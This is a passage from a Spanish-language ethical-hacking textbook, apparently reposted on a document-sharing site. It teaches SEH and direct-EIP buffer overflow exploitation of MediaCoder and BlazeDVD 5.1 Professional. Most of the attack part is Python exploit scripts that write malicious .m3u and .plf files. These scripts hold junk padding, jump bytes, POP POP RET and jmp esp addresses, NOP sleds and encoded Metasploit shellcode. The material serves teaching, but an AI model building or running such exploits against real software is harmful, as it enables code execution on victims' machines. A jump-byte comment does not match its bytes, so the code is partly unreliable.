b8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9 Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg 1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2B i3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4 Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm 6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7B o8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9 Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt 1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2B v3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4 Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz 6Bz7Bz8Bz9C{0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7C b8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9 Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg 1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2C i3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4 Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm 6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co ’’ obFichier = open(’crash.m3u’,’w’) obFichier.write(genbuf) obFichier.close() Creamos de nuevo el archivo crash.m3u usando esta vez estos caracteres. Podemos volver a ejecutar MediaCoder, e incluirlo en Immunity Debugger, para abrir finalmente el archivo creado. La aplicación se bloquea y podemos comprobar, igual que antes, lo que pasa en SEH. La dirección encontrada para nuestra máquina es 0012F4B4. Podemos ir ahora a esta dirección en la pila. Vemos que en la dirección 0012F4B4 tenemos "4Az5" (nextSEH) y la direccón 0012F4B8, tenemos "Az6A" (SE Handler). Ahora podemos determinar, siempre gracias a genbuf, el número de bytes antes de llegar al SEH y next SEH. Necesitamos rellenar 764 bytes antes de llegar al next SEH y 768 para llegar al SE handler, lo que es lógico debido a que son datos contiguos. 2. Comprobación de los valores Vamos a crear un nuevo programa con los parámetros ya encontrados para validarlo todo. Volviendo a hacer el procedimiento anterior, pero con nuevos archivos generados, obtenemos: Podemos comprobar que next SEH se sobreescribe por BBBB y SE handler por CCCC. La pila se rellena con A hasta justamente antes del SE handler, encontramos nuestro shellcode. Ya casi hemos terminado nuestro exploit, sólo nos falta finalizarlo. 3. Finalización del exploit Recordemos que el payload tendrá esta forma: [JUNK][nSEH][SEH][NOP+SHELLCODE] nSEH: salto al shellcode. SEH: referencia a un POP POP RET. Para más seguridad, vamos a añadir NOPs delante de nuestro shellcode. De este modo podremos tener un margen para hacer nuestro salto en el SEH. Como mínimo, el salto deberá ser de 6 bytes; si añadimos 20 NOPs tendremos que realizar un salto comprendido entre 6 y 20 bytes (jump 8 bytes, por ejemplo). Lo que dará en hexadecimal: \xEB\x08\x90\x90 Sólo nos queda determinar la dirección de un pop pop ret en una DLL que colocaremos en SEH (como se ha visto anteriormente). Ahora debemos buscar en los módulos cargados en Immunity Debugger; para ello, hacemos clic en e para que se abra la ventana de módulos cargados. Hagamos doble clic con el ratón en las DLL para encontrar un pop pop ret. Cuando se abre la ventana con el código ensamblador de la DLL, hacemos clic con el botón derecho del ratón y hacemos clic en search for - sequence of commands. Entonces podemos introducir pop pop ret, como en la ventana siguiente: Vemos que en msvcrt.dll, se encuentra un pop pop ret. Recuperamos, por tanto, la dirección 77BF1EF4. Ya podemos escribir nuestro exploit final y verificarlo. JUNK="\x41" * 764 nextSEH="\xEB\x0B\x90\x90" # jmp 8 bytes SEH="\xF4\x1E\xBF\x77" #77BF1EF4 pop pop ret en msvcrt.dll nops="\x90"*20 shellcode="\xcc\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xF F\xFF\xFF\x63\x61\x6C\x63" exploit=JUNK+nextSEH+SEH+nops+shellcode obArchivo = open(’crash.m3u’,’w’) obArchivo.write(exploit) obArchivo.close() Por supuesto, las direcciones encontradas serán distintas según la versión de su sistema operativo y el service pack instalado. Caso concreto: BlazeDVD 5.1 Professional Vamos a estudiar una vulnerabilidad descubierta en 2009 y disponible en la dirección: http://packetstormsecurity.org/files/82927/BlazeDVD-5.1-PLF-Buffer-Overflow.html Este exploit podrá ser efectivo usando un archivo plf que abriremos con la aplicación. Comencemos por determinar cuántos argumentos debemos enviar (escribir en el archivo plf) para borrar la estructura SE. Trabajaremos en un sistema Windows Vista. obArchivo = open(’blazesploit.plf’,’w’) obArchivo.write(”A”*608+”BBBBCCCC”) obArchivo.close() Aquí vemos que tenemos dos soluciones, bien un acceso directo a EIP dado que se encuentra 41414141 en EIP, o bien pasando por el SEH dado que tenemos 43434343 en el SE handler y 42424242 en el next SEH. También tenemos ESP apuntando a nuestro buffer. Observemos ahora el ASLR (!ALSRdynamicbase que se encuentra en los plugins). Muchos módulos parecen no usar el ALSR (”randomización” de las direcciones). Podríamos, por ejemplo, utilizar skinscrollbar.dll. Sobreescribimos EIP después de 260 argumentos. Por lo tanto, podríamos usar un jmp esp, un call esp o un push esp/ret. Buscando en las DLL, encontramos:  blazedvd.exe: 79 direcciones (pero de null bytes!)  skinscrollbar.dll: 0 direcciones  configuration.dll: 2 direcciones, sin null bytes  epg.dll: 20 direcciones, sin null bytes  mediaplayerctrl.dll: 15 direcciones, 8 con null bytes  netreg.dll: 3 direcciones, sin null bytes  versioninfo.dll: 0 direcciones # windows/exec - 302 bytes # http://www.metasploit.com # Encoder: x86/alpha-upper # EXITFUNC=seh, CMD=calc buffer="A"*260 ret = "\x33\xb5\x33\x60" #jmp esp en configuration.dll nops = "\x90" * 30; sc="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" sc+="\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" sc+="\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" sc+="\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" sc+="\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" sc+="\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" sc+="\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" sc+="\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" sc+="\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" sc+="\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" sc+="\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" sc+="\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" sc+="\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" sc+="\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" sc+="\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" sc+="\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" sc+="\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" sc+="\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" sc+="\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" sc+="\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" sc+="\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" sc+="\x42\x4c\x43\x53\x43\x30\x41\x41" payload=buffer+ret+nops+sc obArchivo= open("blazesploit.plf","W") obArchivo.write(payload) obArchivo.close() Abrimos el archivo plf que acabamos de crear y esto es lo que obtenemos: Condiciones generales de uso Copyright - ©Editions ENI Conclusión Este capítulo nos ha proporcionado una introducción a los fallos Linux y Windows actuales, así como las técnicas que se usan habitualmente para explotarlos. La vieja tecnología es muy importante, e indispensable, sobre todo en lo referente a los fallos de aplicación. La subscripción a sindicaciones RSS, la consulta frecuente de sitios web especializados, la recepción cotidiana de fallos descubiertos y el estudio diario de estos fallos y sobre todo la práctica intensiva son la clave del éxito para lograr hacerse un hueco en este mundo tan hermético. La perseverancia será nuestra mejor actitud. Condiciones generales de uso Copyright - ©Editions ENI Referencias Ensamblador: http://www.drpaulcarter.com/pcasm/ Python: http://www.python.org/doc/ Buffer overflow attacks: Detect, exploit, prevent de Jason Deckard - Edition syngress. David Litchfield’s guide to Buffer Overflow Attacks - Editorial syngress. Debugging With GDB The Gnu Source-Level Debugger - Editorial GNU Press. Hacking: The Art of Exploitation - Editorial No Starch Press US. 48bits blog: http://blog.48bits.com/ Sitio web de corelan: http://www.corelan.be:8800 Condiciones generales de uso Copyright - ©Editions ENI Documents Similar To Seguridad informática ENI.docxSkip carouselcarousel previouscarousel nextHackers y Crackers¿Qué es (y qué no) un hacker?HackersTaller1 Intro HackingSuspense- LA ESTANCIA AZUL- Jeffery Deaver.docSeguridad, Ataque y Amenaza5 Libros Hacke Tical HackingHackeo Etico ISeguridad Informatica PDFApuntes LPIC1 linuxCap.3 Hacking EticoSQL Server 2012Llaneros_solitarios_hackers_la_guerrilla_informática.pdfLenguaje HTML5Analisis de Seguridad AbarrotesinformaticaNuevos Movimientos Sociales en la redWirelesExpro Unit 4 LupeKevin MitnickTrabajo de HumanísticaTrabajo Herramientas Informática virusRucker, Rudy.- El Hacker y Las HormigasLa Casa Mas Inteligente Del MundoBackTrack LinuxGuia Para Hakear Al Estado IslamicoVulnerabilidades_Alma_Oscura.odtOMHE2Un Enfoque Práctico Para La Enseñanza de Denegación DeFooter MenuBack To TopAboutAbout ScribdPressOur blogJoin our team!Contact UsJoin todayInvite FriendsGiftsLegalTermsPrivacyCopyrightSupportHelp / FAQAccessibilityPurchase helpAdChoicesPublishersSocial MediaCopyright © 2018 Scribd Inc. .Browse Books.Site Directory.Site Language: English中文EspañolالعربيةPortuguês日本語DeutschFrançaisTurkceРусский языкTiếng việtJęzyk polskiBahasa indonesiaSign up to vote on this titleUsefulNot usefulYou're Reading a Free PreviewDownloadClose DialogAre you sure?This action might not be possible to undo. Are you sure you want to continue?CANCELOK
Copyright © 2024 DOKUMEN.SITE Inc.